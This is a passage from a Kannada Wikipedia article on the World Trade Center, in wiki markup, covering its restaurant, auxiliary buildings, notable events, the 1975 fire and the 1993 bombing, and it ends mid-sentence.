ಮಹಡಿಯಲ್ಲಿನ ಹೊರಾಂಗಣ ವೀಕ್ಷಣಾ ವೇದಿಕೆಯ {{convert|1377|ft|m|abbr=on}} ಎತ್ತರದ ವರೆಗೂ ಎರಡು ಲಘು ಏರಿಳಿಯುವ ಮೆಟ್ಟಿಳುಗಳ ಸವಾರಿಯನ್ನು ಮಾಡಬಹುದಾಗಿದೆ.<ref>{{Cite book|title=The Hudson River Guidebook |author=Adams, Arthur G. |year=1996 |page=87 |publisher=Fordham University Press |isbn=0823216799}}</ref> ನಿರ್ಮಲ ವಾತಾವರಣ ದಿನದಂದು, ಸಂದರ್ಶಕರು {{convert|50|mi|km}} ವರೆಗೂ ಯಾವುದೇ ಸೂಚಿಸಿದ ದಿಕ್ಕಿನಲ್ಲಿ ಚಲಿಸಿ ನೋಡಬಹುದಾಗಿದೆ.<ref name="mcdowell" /> ಮೇಲ್ಛಾಣಿಯ ಮೇಲೆಯೇ ಆತ್ಮಹತ್ಯಾ ತಡೆಯ ಬೇಲಿಯನ್ನು ಇರಿಸಲಾಗಿದ್ದು, ವಿಕ್ಷಣಾ ವೇದಿಕೆಯನ್ನು ಇದರಿಂದ ಹಿಂದಕ್ಕೆ ಎತ್ತರಕ್ಕೆ ಇರಿಸಲಾಗಿದೆ, ಇದರಿಂದ ಇದು ಯಂಪಯರ್ ಸ್ಟೇಟ್ ಕಟ್ಟಕ್ಕೆ ಭಿನ್ನವಾಗಿ ಅಡಚಣೆಯಿಲ್ಲದ ಮತ್ತು ಸುರಕ್ಷತೆಯ ನೋಟವನ್ನು ಒದಗಿಸುತ್ತದೆ.<ref name="darton-p152" /> ===ವಿಂಡೋಸ್ ಆನ್‌ ದಿ ವರ್ಲ್ಡ್ ಉಪಹಾರಗೃಹ=== {{Main|Windows on the World}} ಉತರ ಟವರ್ ಇದರ 106ನೆಯ ಮತ್ತು 107ನೆಯ ಮಹಡಿಗಳಲ್ಲಿ, ವಿಂಡೋವ್ಸ್ ಆನ್‌ ದಿ ವರ್ಲ್ಡ್ ಎಂದು ಕರೆಯಲ್ಪಡುವ ಉಪಹಾರಗೃಹವನ್ನು ಹೊಂದಿದ್ದು ಇದನ್ನು {{Nowrap|April 1976}} ರಲ್ಲಿ ಪ್ರಾಂಭಿಸಲಾಯಿತು. ಉಪಹಾರಗೃಹವನ್ನು $17 ಕ್ಕಿಂತಲೂ ಹೆಚ್ಚಿನ ವೆಚ್ಚದಲ್ಲಿ ಜಾಯ್ ಬಾವ್‌ಮ್‌ ರವರಿಂದ ಅಭಿವೃದ್ದಿಪಡಿಸಲಾಯಿತು.<ref name="zraly">{{Cite book|title=Windows on the World Complete Wine Course |author=Zraly, Kevin |publisher=Sterling Publishing Company |year=2006 |page=260 |isbn=1402726392}}</ref> ಮುಖ್ಯ ಉಪಹಾರಗೃಹದಿಂದ ಪಕ್ಕಕ್ಕೆ, ಎರಡು ಉಪಶಾಖೆಗಳು ಉತ್ತರ ಟವರ್‌ನ ತುದಿಯಲ್ಲಿವೆ: "ಹಾರ್ಸ್ ಡಿ'ಒಯುವ್ರೆರೀ" (ದಿನದ ಸಮಯದಲ್ಲಿ ಡ್ಯಾನಿಷ್ ಸ್ಮೋರ್ಗಾಸ್‌ಬೋರ್ಡ್‌ನ್ನು ಮತ್ತು ಸಾಯಂಕಾಲ ಸುಶಿಯನ್ನು ಒದಗಿಸುತ್ತದೆ) ಮತ್ತು "ಸೆಲ್ಲಾರ್ ಇನ್ ದಿ ಸ್ಕೈ" (ಒಂದು ಚಿಕ್ಕ ಶರಾಬು ಬಾರ್).<ref name="grimes">{{Cite news|url=http://query.nytimes.com/gst/fullpage.html?res=9C06E0D9153BF93AA2575AC0A9679C8B63&sec=travel&spon=&pagewanted=all |title=Windows That Rose So Close To the Sun |date=September 19, 2001 |work=The New York Times |author=Grimes, William}}</ref> ವಿಂಡೋವ್ಸ್ ಆನ್‌ ದಿ ವರ್ಲ್ಡ್ ಸಹ ಕೆವಿನ್ ಝ್ರಾಲಿರವರಿಂದ ನಡೆಸಲಾಗಿದ್ದ ಶಾರಾಬು ಶಾಲಾ ಕಾರ್ಯಕ್ರಮವನ್ನು ಹೊಂದಿತ್ತು. 1993ರ ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ಗುಂಡಿನ ದಾಳಿಯ ನಂತರ, ವಿಂಡೋವ್ಸ್ ಆನ್‌ ದಿ ವರ್ಲ್ಡ್‌ನ್ನು ಮುಚ್ಚಲಾಯಿತು.<ref name="zraly" /> 1996ರಲ್ಲಿ ಮರುಪ್ರಾಂಭಿಸಿದಾಗ, ಹಾರ್ಸ್ ಡಿ'ಒಯುವ್ರೆರೀ ಮತ್ತು ಸೆಲ್ಲಾರ್ ಇನ್ ದಿ ಸ್ಕೈ ಎರಡರ ಬದಲಿಗೆ "ಗ್ರೇಟೆಸ್ಟ್ ಬಾರ್ ಆನ್ ಅರ್ತ್" ಮತ್ತು "ವೈಲ್ಡ್ ಬ್ಲು" ಗಳನ್ನು ಪ್ರಾರಂಭಿಸಲಾಯಿತು.<ref name="grimes" /> ಸಂಪೂರ್ಣವಾಗಿ ಕಾರ್ಯ ನಿರ್ವಹಿಸಿದ ಕೊನೆಯ ವರ್ಷವಾದ 2000ರಲ್ಲಿ, ವಿಂಡೋವ್ಸ್ ಆನ್‌ ದಿ ವರ್ಲ್ಡ್ $37&nbsp;ಮಿಲಿಯನ್ ಆದಾಯದ ವರದಿ ಸಲ್ಲಿಸುವುದರೊಂದಿಗೆ, ಇದು ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನಲ್ಲೇ ಅತಿ-ಹೆಚ್ಚು ಆದಾಯವನ್ನು ಗಳಿಸಿದ ಉಪಹಾರಗೃವಾಯಿತು.<ref>{{Cite news|url=http://query.nytimes.com/gst/fullpage.html?res=9D07E2DA103AF937A35755C0A9649C8B63 |title=Windows on the World Workers Say Their Boss Didn't Do Enough |author=Greenhouse, Steven |date=June 4, 2002 |work=The New York Times}}</ref> ===ಇತರ ಕಟ್ಟಡಗಳು=== {{convert|16|acre|m2}} ಬ್ಲಾಕ್‌ನ ಸುತ್ತಲು ಐದು ಚಿಕ್ಕ ಕಟ್ಟಡಗಳು ನೆಲೆಸಿದವು. ಇವುಗಳಲ್ಲಿ ಒಂದು 22-ಮಹಡಿಯ ಹೋಟಲ್ ಆಗಿದ್ದು, ಇದನ್ನು 1981ರಲ್ಲಿ ವಿಸ್ಟ ಹೋಟಲ್‌ ಆಗಿ ಪ್ರಾರಂಭಿಸಲಾಯಿತು, ಮತ್ತು 1995ರಲ್ಲಿ ಇದು ಸ್ಥಳದ ದಕ್ಷಿಣದಿಕ್ಕಿನ ಮೂಲೆಯ ಮಾರಿಯಟ್ ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರ (3&nbsp;ಡಬ್ಲುಟಿಸಿ) ಯಾಗಿ ಮಾರ್ಪಟ್ಟಿದೆ. ಅದೇ ಟೊಳ್ಳು ಟ್ಯೂಬ್‌ ವಿನ್ಯಾಸದಲ್ಲಿ ಟವರ್‌ನಂತೆ ಮಾಡಿದ, ಮೂರು ಕಡಿಮೆ ಮಹಡಿಯ ಕಟ್ಟಡಗಳು (4&nbsp;ಡಬ್ಲುಟಿಸಿ, 5&nbsp;ಡಬ್ಲುಟಿಸಿ, ಮತ್ತು 6&nbsp;ಡಬ್ಲುಟಿಸಿ) ಸಹ ಪ್ಲಾಝಾದ ಸುತ್ತಲೂ ನೆಲೆ ನಿಂತಿವೆ. ಉತ್ತರದಿಕ್ಕಿನ ಮೂಲೆಯ, 6&nbsp;ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರ, ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಶೀಮಾಶುಲ್ಕ ಸೇವೆಯ ಮತ್ತು ಯು.ಎಸ್. ಸರಕುಗಳ ವಿನಿಮಯದ ತಾಣವಾಗಿದೆ. 5&nbsp;ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವು ಪಾತ್ ಸ್ಟೇಷನ್ ಮೇಲೆ ಉತ್ತರದಿಕ್ಕಿನ ಮೂಲೆಯಲ್ಲಿದೆ ಮತ್ತು 4&nbsp;ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವು ದಕ್ಷಿಣ ದಿಕ್ಕಿನ ಮೂಲೆಯಲ್ಲಿತ್ತು. 1987ರಲ್ಲಿ, 7&nbsp;ಡಬ್ಲುಟಿಸಿ ಎಂದು ಕರೆಯಲ್ಪಡುವೆ ಒಂದು 47-ಮಹಡಿಯ ಕಛೇರಿ ಕಟ್ಟಡವು ಬ್ಲಾಕ್‌ನ ಉತ್ತರ ಭಾಗದಲ್ಲಿದೆ. ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರ ಸಂಕೀರ್ಣದ ಕೆಳಗೆ ನೆಲದಡಿಯ ಮಾರಾಟ ಮಳಿಗೆ ಇತ್ತು, ನ್ಯೂ ಯಾರ್ಕ್ ನಗರ ಸುರಂಗಮಾರ್ಗ ಪದ್ದತಿಯನ್ನು ಸೇರಿ ಇದು ವಿವಿಧ ಅಧಿಕ ಸಂಖ್ಯೆಯ ಸಾಗಣೆ ಸೌಲಭ್ಯಗಳೊಂದಿಗೆ ಸಂಪರ್ಕವನ್ನು ಹೊಂದಿದೆ ಮತ್ತು ಬಂದರು ಪ್ರಾಧಿಕಾರದ ಸ್ವಂತ ಪಾತ್ ರೈಲುಗಳು ಮ್ಯಾನ್‌ಹಾಟನ್‌ನ್ನು ಜೆರ್ಸಿ ನಗರ, ಹೊಬೋಕೆನ್, ಮತ್ತು ನೆವಾರ್ಕ್‌ದೊಂದಿಗೆ ಸೇರಿಸುತ್ತವೆ. ವಾಣಿಜ್ಯ ಬ್ಯಾಂಕುಗಳ ಒಡೆತನದ, ಪ್ರಪಂಚದಲ್ಲೆ ಅತಿ ದೊಡ್ಡ ಚಿನ್ನ ಬಂಡಾರಗಳಲ್ಲಿ ಒಂದು, ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ಕೆಳಭಾಗದಲ್ಲಿದೆ. 1993ರ ಬಾಂಬು ದಾಳಿಯಲ್ಲಿ ಭದ್ರಕೋಣೆಯ ಹತ್ತಿರದಲ್ಲಿ ಬಾಂಬನ್ನು ಅಸ್ಫೋಟಿಸಲಾಯಿತು. {{Nowrap|September 11}} ದಾಳಿ ನಡೆದ ಏಳು ವಾರಗಳ ನಂತರ, 4&nbsp;ಡಬ್ಲುಟಿಸಿಯ ತಳಮನೆ ಭದ್ರಕೋಣೆಯಿಂದ $230&nbsp;ಮಿಲಿಯನ್ ಅಮೂಲ್ಯ ಲೋಹಗಳನ್ನು ಹೊರತೆಗೆಯಲಾಯಿತು, ಇವುಗಳಲ್ಲಿ 3,800 100-ಟ್ರೋಯ್-ಔನ್ಸ್ ದಾಖಲಿಸಿದ ಚಿನ್ನದ ಬಾರ್‌ಗಳು ಮತ್ತು 30,000 1,000-ಔನ್ಸ್ [[ಬೆಳ್ಳಿ|ಬೆಳ್ಳಿಯ]] ಬಾರ್‌ಗಳು ಸೇರಿದ್ದವು.<ref>[http://www.rediff.com/money/2001/nov/17wtc.htm Rediff.com. ][http://www.rediff.com/money/2001/nov/17wtc.htm ರೂಟರ್ಸ್, {{Nowrap|November 17}}, 2001: ''ಬರೀಡ್ ಡಬ್ಲುಟಿಸಿ ಗೋಲ್ಡ್ ರಿಟರ್ನ್ಸ್ ಟು ಫ್ಯೂಚರ್ಸ್ ಟ್ರೇಡ್'' ]. ಪುನಃ ಸಂಪಾದಿಸಲಾಗಿದೆ {{Nowrap|December 1}}, 2008.</ref> ==ಕಾಲಮಾನ ಮತ್ತು ಪ್ರಸಂಗಗಳು== ವಾರದ ದಿನಗಳಲ್ಲಿ 50,000 ಜನರು ಟವರ್‌ಗಳಲ್ಲಿ ಕೆಲಸ ಮಾಡುತ್ತಿದ್ದರು<ref>ಡಾರ್ಟನ್ (1999), ಪು. 204</ref> ಮತ್ತು ಇನ್ನೊಂದು 200,000 ಜನರು ಸಂದರ್ಶಕರಾಗಿ ಬಂದುಹೋಗುತ್ತಿದರು.<ref>ಡಾರ್ಟನ್ (1999), ಪು. 8</ref> ಸಂಕೀರ್ಣ ಎಷ್ಟು ದೊಡ್ಡದಿತ್ತೆಂದರೆ ಅದು ತನ್ನದೇ ಆದ ಸ್ವಂತ ಝಿಪ್‌ ಕೋಡ್‌ನ್ನು ಹೊಂದಿತ್ತು: 10048.<ref>{{Cite news|title='Not Deliverable';Mail still says 'One World Trade Center' |publisher=Newsday (New York) |date=February 4, 2003 |author=Olshan, Jeremy}}</ref> ಟವರ್‌ಗಳು, ದಕ್ಷಿಣ ಟವರ್‌ ಮೇಲಿನ ವೀಕ್ಷಣಾ ವೇದಿಕೆಯಿಂದ ಮತ್ತು ಉತ್ತರ ಟವರ್ ಮೇಲಿನ ''ವಿಂಡೋವ್ಸ್ ಆನ್ ದಿ ವರ್ಲ್ಡ್‌'' ಉಪಹಾರಮಂದಿರದಿಂದ ಸವಿಸ್ತಾರ ನೋಟವನ್ನು ಒದಗಿಸುತ್ತಿವೆ. ಅವಳಿ ಟವರ್‌ಗಳು ಅನೇಕ ಚಲನಚಿತ್ರಗಳಲ್ಲಿ, ಮತ್ತು ದೂರದರ್ಶನ ದಾರಾವಾಹಿಗಳಲ್ಲಿ ಹಾಗು ಅಂಚೆಕಾರ್ಡುಗಳಮೇಲೆ ಮತ್ತು ಇತರ ವಾಣಿಜ್ಯ ಸರಕುಗಳಲ್ಲಿ ಕಾಣಿಸಿಕೊಳ್ಳುವುದರ ಮೂಲಕ ಪ್ರಪಂಚದಾದ್ಯಂತ ಪ್ರಸಿದ್ಧಿಯಾಗಿವೆ, ಮತ್ತು ಯಂಪಯರ್ ಸ್ಟೇಟ್ ಬಿಲ್ಡಿಂಗ್, ಕ್ರಿಸ್ಲೆರ್ ಬಿಲ್ಡಿಂಗ್ ಮತ್ತು [[ಸ್ವಾತಂತ್ರ್ಯದ ಪ್ರತಿಮೆ|ಸ್ಟ್ಯಾಚ್ಯು ಆಫ್ ಲಿಬರ್ಟಿ]]ಯಂತೆ, ಇದನ್ನು ನ್ಯೂ ಯಾರ್ಕ್ ಲಾಂಛನವಾಗಿ ಕಾಣಲಾಗುತ್ತಿದೆ.<ref>ಜಿಲೆಸ್ಪೀ (1999), ಪು. 5</ref> ದಾಖಲಾತಿ ಚಲನಚಿತ್ರ ''ಮ್ಯಾನ್ ಆಂಡ್ ವೈಯರ್‌'' ನಲ್ಲಿ ತಿಳಿದ ಮಾದರಿಯಲ್ಲಿ, ಎತ್ತರದ ಸರಿಗೆಯಮೇಲೆ ನಡೆಯುವ ಫ್ರೆಂಚ್ ದೊಮ್ಮರಾಟ ಪ್ರದರ್ಶಕ ಫಿಲಿಪ್ಪೆ ಪೆಟಿಟ್, 1974ರಲ್ಲಿ ಟವರ್‌ಗಳ ನಡುವೆ ಬಿಗಿಯಾಗಿ ಕಟ್ಟಿದ ಸರಿಗೆಯ ಮೇಲೆ ನಡೆದರು.<ref>ಗ್ಲಾಂಜ್ ಮತ್ತು ಲಿಪ್ಟನ್ (2003), ಪು. 219</ref> 1977ರಲ್ಲಿ ಬ್ರೂಕ್ಲಿನ್ ಬೊಂಬೆ ತಯಾರಕ ಜಾರ್ಜ್ ವಿಲ್ಲಿಂಗ್ ದಕ್ಷಿಣ ಟವರನ್ನು ಅಳತೆಮಾಡಿದರು.<ref>ಜಿಲೆಸ್ಪೀ (1999), ಪು. 149</ref> 1983ರಲ್ಲಿ, ಸ್ಮಾರಕ ದಿನದಂದು, ಬಹುಮಹಡಿಯ ಕಟ್ಟಡಗಳ ಬೆಂಕಿಯಿಂದ ಹೋರಾಡುವ ಮತ್ತು ಪಾರುಮಾಡುವ ಪ್ರತಿಪಾದಕ ಡಾನ್ ಗುಡ್‌ವಿನ್, ಡಬ್ಲುಟಿಸಿಯ ಉತ್ತರ ಟವರ್‌ನ ಹೊರಭಾಗವನ್ನು ಸಫಲವಾಗಿ ಹತ್ತಿದರು. ಅವರ ಈ ವಿಶ್ವಪ್ರಯತ್ನವು, ಗಗನಚುಂಬಿ ಮಹಡಿಗಳಲ್ಲಿ ಸಂಭವನೀಯವಾಗಿ ಸಿಕ್ಕಿಹಾಕಿಕೊಂಡ ಜನರನ್ನು ರಕ್ಷಿಸುವ ಅಸಾಮರ್ಥ್ಯದ ಕಡೆಗೆ ಗಮನವನ್ನು ಸೆಳೆಯುವ ಉದ್ದೇಶವನ್ನು ಹೊಂದಿತ್ತು.<ref>[http://www.nationalgeographic.com/ngnews/bibliography.html#newyorkcity "ಗಗನಚುಂಬಿಗಳು." ][http://www.nationalgeographic.com/ngnews/bibliography.html#newyorkcity ನ್ಯಾಷನಲ್ ಜಿಯೋಗ್ರಾಫಿ ಮ್ಯಾಗಝೀನ್. ][http://www.nationalgeographic.com/ngnews/bibliography.html#newyorkcity {{Nowrap|February 1989}} – ಗುಡ್ವಿನ್, ಡ್ಯಾನ್ "ಸ್ಪೈಡರ್ ಡ್ಯಾನ್" ವರ್ಲ್ಡ್ ಟ್ರೇಡ್ ಸೆಂಟರ್ ಕ್ಲೈಂಬ್ (1983), ಪು 169]</ref><ref name="SKYSCRAPERMAN">{{cite web|url=http://skyscraperman.com/|title=Skyscraperman|publisher=|accessdate=2010-10-15|archive-date=ಜನವರಿ 27, 2012|archive-url=https://www.webcitation.org/64zv2K2Y1?url=http://www.skyscraperman.com/|url-status=dead}}</ref> 1995 ಪಿಸಿಎ ವರ್ಲ್ಡ್ ಚೆಸ್ ಚಾಂಪಿಯನ್‌ಷಿಪ್ ಆಟವನ್ನು ದಕ್ಷಿಣ ಟವರ್‌ನ 107ನೆಯ ಮಹಡಿಯಲ್ಲಿ ಆಡಲಾಗಿತ್ತು.<ref>{{Cite news|url=http://query.nytimes.com/gst/fullpage.html?res=990CE3DA1230F93AA2575AC0A963958260 |author=Byrne, Robert |title=Kasparov Gets Pressure, but No Victory |work=The New York Times |accessdate=November 21, 2008 | date=September 19, 1995}}</ref> ಜನವರಿ 1998ರಲ್ಲಿ, ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ಸಂರಕ್ಷಣಾ ಪ್ರವೇಶಾವಕಾಶವನ್ನು ದೊರಕಿಸಿಕೊಂಡ ಮಾಫಿಯಾ ಸದಸ್ಯ ರಾಲ್ಪ್ ಗುಯಾರಿನೊ, ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ಹನ್ನೊಂದನೆಯ ಮಹಡಿಗೆ ಬಟವಾಡೆಮಾಡುವುದರಿಂದ ಬಂದ ನಿವ್ವಳ ಧನ $2&nbsp;ಮಿಲಿಯನ್‌ ಅನ್ನು ದೋಚಲು ಮೂರು-ಜನರ ತಂಡವನ್ನು ಸಿದ್ದಪಡಿಸಿದ್ದ.<ref>{{Cite book|title=Bringing Down the Mob: The War Against the American Mafia |author=Reppetto, Thomas |year=2007 |publisher=Macmillan |page=279 |isbn=0805086595 |url=https://books.google.com/?id=E-AFhs0RrKIC&pg=RA1-PA279 }}</ref> ===ಪೆಬ್ರವರಿ 13, 1975ರಂದಿನ ಬೆಂಕಿ=== ಪೆಬ್ರವರಿ 13, 1975ರಂದು, ಉತ್ತರ ಟವರ್‌ನ 11ನೆಯ ಮಹಡಿಯಲ್ಲಿ ಮೂರು-ಅಗ್ನಿ ಅಲಾರಮ್‌ಗಳು ಮುರಿದುಹೋದವು. ಮಹಡಿಗಳ ನಡುವೆ ಲಂಬವಾಗಿ ಹರಡಿದ ಇಕ್ಕಟ್ಟಾದ ಕಡ್ಡಿ ಮಾರ್ಗಗಳಲ್ಲಿನ ದೂರವಾಣಿ ತಂತಿಗಳ ಇನ್ಸುಲೇಷನ್‌ನ್ನು ಬಿಸಿಯಾಗಿಸಿ ಕಿಚ್ಚಿಡಿಸುವುದರ ಮೂಲಕ ಬೆಂಕಿಯು ಮಧ್ಯಭಾಗದಿಂದ 9ನೆಯ ಮತ್ತು 14ನೆಯ ಮಹಡಿಗಳಿಗೆ ವ್ಯಾಪಿಸಿದೆ. ಬೆಂಕಿಹಿಡಿದ ಪ್ರದೆಶದಿಂದ ದೂರದ ಪ್ರದೇಶಗಳಲ್ಲಿನ ಬೆಂಕಿಯನ್ನು ಕೂಡಲೇ ಆರಿಸಲಾಯಿತು ಮತ್ತು ಮೂಲ ಬೆಂಕಿಯನ್ನು ಕೆಲವು ಗಂಟೆಗಳಲ್ಲಿ ಆರಿಸಲಾಗಿತ್ತು. ಕಾಗದ, ಕಛೇರಿ ಯಂತ್ರಗಳಿಗಾಗಿ ಶೇಖರಿಸಿಟ್ಟ ಮದ್ಯ-ಆಧಾರಿತ ದ್ರವ ಮತ್ತು ಇತರ ಕಛೇರಿ ಸಲಕರಣೆಗಳೊಂದಿಗೆ ತುಂಬಿದ್ದ, 11ನೆಯ ಮಹಡಿಯಲ್ಲೇ ಹೆಚ್ಚಿನ ನಷ್ಟ ಉಂಟಾಗಿತ್ತು. ಪೈಯರ್‌ಫ್ರೂಫಿಂಗ್ (ಕಿಚ್ಚುಹತ್ತದಂತೆ ತಡೆಯುವಿಕೆಯು), ಉಕ್ಕು ಕರಗದೆ ಇರುವಂತೆ ಮಾಡಿತು, ಆದ್ದರಿಂದ ಟವರ್‌ನ ವಿನ್ಯಾಶವು ಯಾವುದೇ ರೀತಿಯಲ್ಲಿ ಹಾನಿಗೊಳಗಾಗಿಲ್ಲ. ಬೆಂಕಿಯಿಂದ ಉಂಟಾದ ಹಾನಿಯನ್ನು ಹೊರತು ಪಡಿಸಿ, ಕೆಳಭಾಗದ ಕೆಲವು ಮಹಡಿಗಳು ಮೇಲಿನ ಬೆಂಕಿಯನ್ನು ನಂದಿಸಲು ಉಪಯೋಗಿಸಿದ ನೀರಿನಿಂದ ಸ್ವಲ್ಪಮಟ್ಟಿಗೆ ಹಾನಿಗೊಳಗಾಗಿವೆ. ಆ ಸಮಯದಲ್ಲಿ, ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರ ಚಿಮುಕಿಸುವ ಪದ್ಧತಿಗಳ ಸೌಲಭ್ಯವನ್ನು ಹೊಂದಿರಲಿಲ್ಲ.<ref>{{Cite news|url=https://www.nytimes.com/1975/02/14/nyregion/14WTC.html |title=Trade Center Hit by 6-Floor Fire |work=The New York Times |date=February 14, 1975 |accessdate=September 11, 2008}}</ref><ref>{{Cite web|url=http://wtc.nist.gov/pubs/NISTNCSTAR1-8.pdf |title=The Emergency Response Operations |work=Federal Building and Fire Safety Investigation of the World Trade Center Disaster |publisher=NIST |month=October | year=2005 |accessdate=September 11, 2008|format=PDF}}</ref> ===ಪೆಬ್ರವರಿ 26, 1993ರ ಬಾಂಬುದಾಳಿ=== {{Main|1993 World Trade Center bombing}} ಪೆಬ್ರವರಿ 26, 1993ರಂದು, 12:17&nbsp;ಪಿ.ಎಮ್. ಸಮಯದಲ್ಲಿ, ರಮ್‌ಝಿ ಯೂಸಫ್‌ ಇರಿಸಲಾದ, ಸಿಡಿಮದ್ದುಗಳನ್ನು ತುಂಬಿದ ರೈಡರ್ ಟ್ರಕ್ಕು, ಉತ್ತರ ಟವರ್‌ನ ತಳಮನೆಯ ಮೋಟಾರು ಖಾನೆಯಲ್ಲಿ ಸ್ಫೋಟಗೊಂಡಿತ್ತು.<ref>ರೀವ್ (1999), ಪು. 10</ref> ಈ ಸ್ಫೋಟವು ಉಪಹಂತಗಳ ಮೂಲಕ 100 ಅಡಿ (30&nbsp;ಮೀ) ರಂದ್ರವನ್ನು ಉಂಟುಮಾಡಿತು, ಮತ್ತು ಇದರಿಂದ B1 ಮತ್ತು B2 ಹಂತಗಳಲ್ಲಿ ಭಾರಿ ಪ್ರಮಾಣದ ಹಾನಿ ಉಂಟಾಗಿತ್ತು ಮತ್ತು B3 ಹಂತದಲ್ಲೂ ಇದೇರೀತಿಯ ವಿಸ್ಯಾಸದ ನಾಶ ಉದ್ಭವಿಸಿತ್ತು.<ref>{{Cite book|title=Design, Construction, and Maintenance of Structural and Life Safety Systems (NCSTAR 1-1) |publisher=National Institute of Standards and Technology |pages=xlv |author=Lew, H.S., Richard W. Bukowski, Nicholas J. Carino |month=September | year=2005}}</ref> ಈ ಸ್ಫೋಟದಲ್ಲಿ ಆರು ಜನರು ಮರಣಹೊಂದಿದ್ದರು ಮತ್ತು ಸುಮಾರು 50,000 ಕೆಲಸಗಾರರು ಮತ್ತು ಸಂದರ್ಶಕರು, 110 ಮಹಡಿಯ ಟವರ್‌ಗಳಲ್ಲಿನ ಗಾಳಿಯ ಕೊರತೆಯಿಂದ ಉಸಿರಾಟದ ತೊಂದರೆಯನ್ನು ಎದುರಿಸಿದ್ದರು. ಉತ್ತರ ಟವರ್‌ನಲ್ಲಿನ ಬಹುತೇಕ ಜನರನ್ನು ಕತ್ತಲಿನ ಸುರಂಗ ಮಾರ್ಗದ ನಿಚ್ಚಣಿಕೆಯಿಂದ ನಡೆದು ಸುರಕ್ಷಿತ ಜಾಗವನ್ನು ತಲುಪುವಂತೆ ಒತ್ತಾಯಿಸಲಾಯಿತು, ಅಲ್ಲಿ ಯಾವುದೇ ತುರ್ತು ಬೆಳಕಿನ ವ್ಯವಸ್ತೆ ಯಿರಲಿಲ್ಲ, ಆದ್ದರಿಂದ ಸುರಕ್ಷ ಸ್ಥಳವನ್ನು ಸೇರಲು ಕೆಲವರಿಗೆ ಎರಡು ಗಂಟೆಗಳು ಅಥವಾ ಅದಕ್ಕಿಂತಲೂ ಹೆಚ್ಚಿನ ಸಮಯ ಬೇಕಾಗಿತ್ತು.<ref>{{Cite news|url=http://www.newsweek.com/id/111113 |title=A Shaken City's Towering Inferno |author=Mathews, Tom |date=March 8, 1993 |publisher=Newsweek |accessdate=October 26, 2008}}</ref><ref name="barbanel">{{Cite news|url=http://query.nytimes.com/gst/fullpage.html?res=9F0CE5DC103DF934A15751C0A965958260&sec=&spon=&pagewanted=all |title=Tougher Code May Not Have Helped |author=Barbanel, Josh |date=February 27, 1993 |work=The New York Times |accessdate=November 20, 2008}}</ref> [[File:WTC 1993 ATF Commons.jpg|thumb|right|ಬಾಂಬ್ ಸ್ಪೋಟದಿಂದಾದ ಭೂಮಿಯಕೆಳಗೆ ಆಗಿರುವ ಹಾನಿ]] ಯೂಸೆಫ್ ಬಾಂಬುದಾಳಿಯ ನಂತರ ಪಾಕಿಸ್ತಾನಕ್ಕೆ ಓಡಿಹೋಗಿದ್ದ ಆದರೆ ಆತನನ್ನು {{Nowrap|February 1995}} ರಲ್ಲಿ ಇಸ್ಲಾಮಾಬಾದ್‌ನಲ್ಲಿ ಸೆರೆಹಿಡಿಯಲಾಯಿತು, ಮತ್ತು ವಿಚಾರಣೆಗಾಗಿ ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ ವಶಕ್ಕೆ ಒಪ್ಪಿಸಲಾಯಿತು.<ref>{{Cite news|url=http://query.nytimes.com/gst/fullpage.html?res=990CE0DE1E3DF93AA35751C0A963958260 |title=Fugitive in Trade Center Blast Is Caught and Returned to U.S. |author=Johnston, David |date=February 9, 1995 |work=The New York Times |accessdate=November 20, 2008}}</ref> ಬಾಂಬುದಾಳಿ ಮತ್ತು ಇತರ ಸ್ಫೋಟಗಳಲ್ಲಿ ಭಾಗವಹಿಸಿದ್ದಕ್ಕಾಗಿ, ಶೇಕ್ ಓಮರ್ ಅಬ್ದುಲ್ ರಹ್ಮಾನ್‌ ನನ್ನು 1996ರಲ್ಲಿ ದೋಷಿ ಎಂದು ತೀರ್ಮಾನಿಸಲಾಯಿತು.<ref>{{Cite news|url=http://query.nytimes.com/gst/fullpage.html?res=9D0DE4DF1E39F93BA25752C0A960958260 |title=Sheik Sentenced to Life in Prison in Bombing Plot |date=January 18, 1996 |author=Fried, Joseph P. |work=The New York Times |accessdate=November 20, 2008}}</ref> ಬಾಂಬುಗಳನ್ನು ಒಯ್ಯುತಿದ್ದಕ್ಕಾಗಿ, {{Nowrap|November 1997}} ರಲ್ಲಿ ಯೂಸೆಫ್ ಮತ್ತು ಐಯದ್ ಇಸ್‌ಮೋಯಿಲ್‌ರನ್ನು ಅಪರಾಧಿಗಳೆಂದು ತೀರ್ಮಾನಿಸಲಾಗಿತ್ತು.<ref>{{Cite news|url=http://www.cnn.com/US/9711/12/world.trade.center/ |title=Jury convicts 2 in Trade Center blast |publisher=CNN |date=November 12, 1997 |accessdate=November 20, 2008}}</ref> 1993ರ ಬಾಂಬುದಾಳಿಯಲ್ಲಿ ಭಾಗವಹಿಸಿದ್ದಕಾಗಿ, ಇತರ ನಾಲ್ಕು ಜನರನ್ನು {{Nowrap|May 1994}} ರಲ್ಲಿ ದೋಷಿಗಳೆಂದು ತೀರ್ಮಾನಿಸಲಾಗಿತ್ತು.<ref>{{Cite news|url=http://community.seattletimes.nwsource.com/archive/?date=19940525&slug=1912247 |title=In Sentencing Bombers, Judge Takes Hard Line |work=Seattle Times / AP |date=May 25, 1994 |author=Hays, Tom and Larry Neumeister |accessdate=November 20, 2008}}</ref> ಅಧ್ಯಕ್ಷತೆಯ ನ್ಯಾಯಮೂರ್ತಿಯ ಪ್ರಕಾರ, ದಾಳಿಯ ಸಮಯದಲ್ಲಿ ಸಂಚುಗಾರರ ಮುಖ್ಯಸ್ಥ, ಉತ್ತರ ಟವರ್‌ನ ದೃಢತೆಯನ್ನು ಕುಗ್ಗಿಸುವ ಮತ್ತು ಇದನ್ನು ದಕ್ಷಿಣ 